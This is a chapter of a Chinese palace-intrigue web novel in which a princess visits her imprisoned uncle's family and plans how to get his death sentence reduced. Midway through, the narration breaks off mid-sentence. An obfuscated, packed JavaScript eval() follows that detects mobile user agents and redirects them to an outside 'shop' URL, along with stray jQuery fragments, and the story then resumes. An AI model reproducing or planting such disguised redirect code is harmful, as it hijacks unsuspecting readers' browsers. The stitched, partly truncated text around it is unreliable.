27. 柳府探亲托后事

作品:《冷面王爷今日笑了没

    软轿停落,宋萋萂翩然而出,柳府门庭不大,却规整有加,石阶前的空地扫得一尘不染,亦无石狮坐镇,合乎柳氏清名。


    看门的家丁见着宋萋萂,急忙躬身行礼,引着她进了府门,穿过前院便进到了后院居所。


    迎着宋萋萂进了待客的厅堂,唤来一个小丫鬟给落座的宋萋萂沏茶,他便告退去寻柳安氏。


    “夫人!公主来了!”家丁甫一拐出后院的门,便高声喊了起来。


    不多时,柳安氏晃着略微臃肿的身子,手里捏着一柄团扇,前脚跟后脚,迈着急切的步子冲着宋萋萂行来。一开口便带了哭腔,“萋萂啊,你舅父......”忽地哽住,一手捶胸。


    跟着柳安氏的那个小丫头急得团团转,嘴上念叨着,“夫人莫急,莫惹得悸症复发了。”


    宋萋萂眉头微蹙,替她顺背,“舅母慢些说话。”


    “你舅父......怎的被下了大狱?怎的要......要被判刑呢?”待憋着的那口气吐出,她趴在宋萋萂架着她的胳膊上哭嚎起来。


    “舅父之事......”宋萋萂刚一开口,便被打断。


    “你舅父的命怎的这般苦,他在刑部任劳任怨,整日起早贪黑,休沐时也不得歇,怎么就落得这么个下场?好人没好报啊!”柳安氏涕泪横流,趴在宋萋萂臂弯中不肯起身,大有把身家性命抵给她的架势在。


    “舅母......”宋萋萂的话插不进那人密如牛毛的絮叨中。


    “母亲!”一道男声冷不丁打断柳安氏的哭诉。


    柳安氏吸了吸鼻子,身子随着哽咽一颤又一颤。


    “表兄”,宋萋萂不由得松了一口气,她还真拿这哭天喊地的舅母毫无办法。


    “表妹”,来人对她拱手一礼。


    来人发髻上插了支青玉簪,着一袭青色袍子,一对乌珠似蘸了墨,缀在面中,望过去温润如玉。此男子为柳弈昇独子柳文瀚,是那人口中不成器的儿子。


    “母亲,表妹远道而来,先让她坐下歇息片刻。”柳文瀚扶住哭得上气不接下气的柳安氏,将她半个身子的重量支撑起来。


    “你舅父没做过坏事,他那么一个好的人,怎么能......能犯了死罪呢?”柳安氏不依不饶哭诉道。


    “母亲,少说两句,若是父亲干干净净,朝廷如何会找的上他?”柳文瀚扶着柳安氏落座下首。


    “怎的能这样说你父亲,你父亲便是干干净净的!”柳安氏目光拧了儿子一眼,斥道。


    宋萋萂落座主位,柳安氏身边的小丫鬟又奉上一杯热茶。


    “萋萂,你可要救一救你舅父,柳家就他这么一个主心骨儿了,若是他走了......”柳安氏就着柳文瀚递过来的帕子,掩面又开始呜咽,“我们孤儿寡母可怎么活呢?”


    柳文瀚站在旁边,看着母亲哭哭啼啼的样子手足无措。


    “舅母,萋萂去看过舅父了。”宋萋萂开口道。


    “他可还好?可有饿着?没冻着吧?听说天牢阴湿寒凉,我该给他送几件冬衣进去......”柳安氏左右环视,似是想从外甥女和自己的儿子处寻个确切的答话。


    “舅父一切安好。”宋萋萂打断她的话,安抚道。


    “舅母,舅父让我给您和表兄带句话,他无大碍,莫记挂他。”


    “怎会?怎会无碍?”柳安氏又开始拿起帕子沾眼角的泪,不大一会儿,眼睛便通红了。


    “萋萂,你是公主,长姐又是中宫皇后,定有法子救瀚儿的爹的。”说着,柳安氏作势便要跪下。


    宋萋萂立马起身上前止住她的动作,“舅母放心,萋萂会想法子的,舅父不会有事。”


    听见这人的担保,柳安氏这才稍稍把心放进肚子里,又开始絮叨起来,“萋萂,你说说你舅父,为陛下做事是忠心耿耿,怎的陛下这次也不知保下你舅父?”


    柳文瀚干咳一声,“母亲,慎言。”


    柳安氏翻了一个白眼,这个儿子三番五次拦着她说话,倒显得她这个当娘的不懂事,“萋萂是自家人,怕什么?我也只是说说陛下不肯帮我们,又没说什么大逆不道的话。”又是一个白眼,转过头笑呵呵去向宋萋萂问个答案。


    宋萋萂端起茶盏抿了口茶,干咳一声,不知如何作答,偏生那人还热切地求她给个回应。


    “陛下自有陛下的考量,况且这次定罪的是摄政王。”柳文瀚在一旁道。


    “萋萂,陛下可是......”她稍稍一顿,继而道,“怕那个顾溟?怎么一旦扯上摄政王的事,陛下都这般......”她吞吞吐吐说出后面的话,“畏手畏脚的。”


    宋萋萂只低头喝茶,不知如何开口。


    柳文瀚无可奈何地摇了摇头,自己这个娘亲实在不怕祸从口出。


    “你看看,萋萂,瀚儿的爹好歹算是个国舅吧,当初为着陛下登基,瀚儿的爹出了多大的力,结果后面还是做这个刑部的破郎中,不拔擢便罢,而今出事,就给瀚儿爹安了这么个罪名,说什么草菅人命。”她“诶呦”一声,一拍手,仿佛天理难容一般,“瀚儿爹有多大的本事,才能去杀人呢?”


    宋萋萂陪着那人一笑,依旧不多言。


    柳文瀚望着宋萋萂若有所思,沉默片刻才斟酌开口,“表妹,父亲的案子可是定下了?”


    宋萋萂放下手中茶盏,抬头正经道,“听刑部的张尚书说,定的是秋后的罪名,不会累计柳家其余人,只是三代不可为官。”


    柳文瀚蹙眉抿紧嘴唇,复又问道:“定下了?”


    “眼下是这般说的,我还会再想想法子。”宋萋萂冲他颔首担保道。


    柳安氏满不在乎摆了摆手,“不做官也罢,做劳什子官,正好瀚儿也没这个心思,再说瀚儿爹劳碌一辈子,得到了什么,到临头只落了个莫须有的罪名。”说着,鼻孔出气,哼了一声,“三代不做官,我看是好事,谁稀罕呢?”


    宋萋萂碰上柳安氏的视线,扯出个笑草草应付。


    柳安氏则是浑然不觉,反倒越说越觉得在理,不由得坐直了起来,仿佛自己说的是什么金科玉律。


    柳文瀚面色阴郁下来,他知道,定的是死罪,母亲不知道秋后是何意思,否则此刻也不能言笑一二。


    柳安氏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361197|199069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己说说笑笑小半晌,见着另外二人沉闷不语,后知后觉不大对劲,“萋萂?怎的不说话了?”见儿子也是不语,“瀚儿?”


    “舅母放宽心,无事。”宋萋萂安抚道。


    因着顾安候在柳府外,宋萋萂不便多留,便起身告辞。


    柳安氏还想留她,柳文瀚则拦住母亲的自作主张,道,“我送送表妹,母亲,这些日子您老也没好好歇着,眼下先去小憩片刻,一切有儿子了。”


    行至影壁前,柳文瀚问道:“表妹,你有的是什么法子?顾溟定下的死罪,怕是翻不了案。”


    “的确翻不了案,我要的是重罪从轻。”宋萋萂应道。


    “如何做?”柳文瀚眸光一聚,对眼前这个素来不拘泥于条框的表妹更添几分探究。


    “舅父已然交予我一纸供状,我打算依此与顾溟周旋一二。”宋萋萂道。


    “顾溟会因父亲所陈罪行,而手下留情?”柳文瀚不大相信。


    “我问张尚书,得的是暂定的判决,想来顾溟还想从舅父身上挖点什么出来。此番前去天牢,还未对舅父动刑,便是盼着从舅父身上得到些什么。”宋萋萂解释道。


    “若是这般,”柳文瀚思虑一二,“顾溟对父亲用刑,定能从父亲口中撬出来些什么,便能得到你手中的这份供状,只是早晚问题。他怎会因你递过去的供状,愿意保下父亲性命?”


    “递过去保命的,和被严刑逼供得出的,表兄觉得,顾溟更愿意相信哪个会真一些,会全一些?”宋萋萂勾唇一笑,多了几分势在必得,反问道。


    柳文瀚半晌点了点头,“顾溟觉得父亲贪生怕死,为了活命交出去的东西肯定更真一些。这些日子顾溟想来也是这般谋划,等着父亲主动吐露,只是......”


    “只是舅父主动吐露的,怕顾溟也不会全然相信。所以不能舅父亲自翻供,需得有一个说客。而我所做的,便是给顾溟加码,替舅父谈判。顾溟不信我等,但拿着筹码前去,倒多了几分可信度,况且......”宋萋萂欲言又止,“我而今这般,被他软禁在王府,掀不起什么风浪,他......信得也会多一些。他这般权臣,对愈弱小的东西,反而戒备心愈低。”言罢,宋萋萂扯出个无奈的苦笑。


    柳文瀚心中一动,不知如何安慰,只道:“表妹受苦了。”


    宋萋萂摇了摇头,“我不苦,只愿母后平安,柳氏一脉平安。”


    柳文瀚看着眼前比自己矮一头的女子,明明如此瘦弱,却硬是揽下了这般重的挑子,心中不由得肃然起敬,于是俯身郑重一礼。


    宋萋萂笑着摆了摆手,“表兄见外了。”


    “不过,表兄需得做一件事。”宋萋萂忽而想到临出天牢前与张尚书的对话。


    “何事,表妹尽管吩咐。”柳文瀚带上几分心悦诚服。


    “半年前离任归乡的刑部尚书,需得表兄跑一趟,看能不能查出些什么来。比如同谁走得近,想来舅父不是主犯,那尚书许是知道些什么,怕是察觉事情败露才逃走的。”宋萋萂压低声音道。


    柳文瀚点了点头,道:“我去查一查。”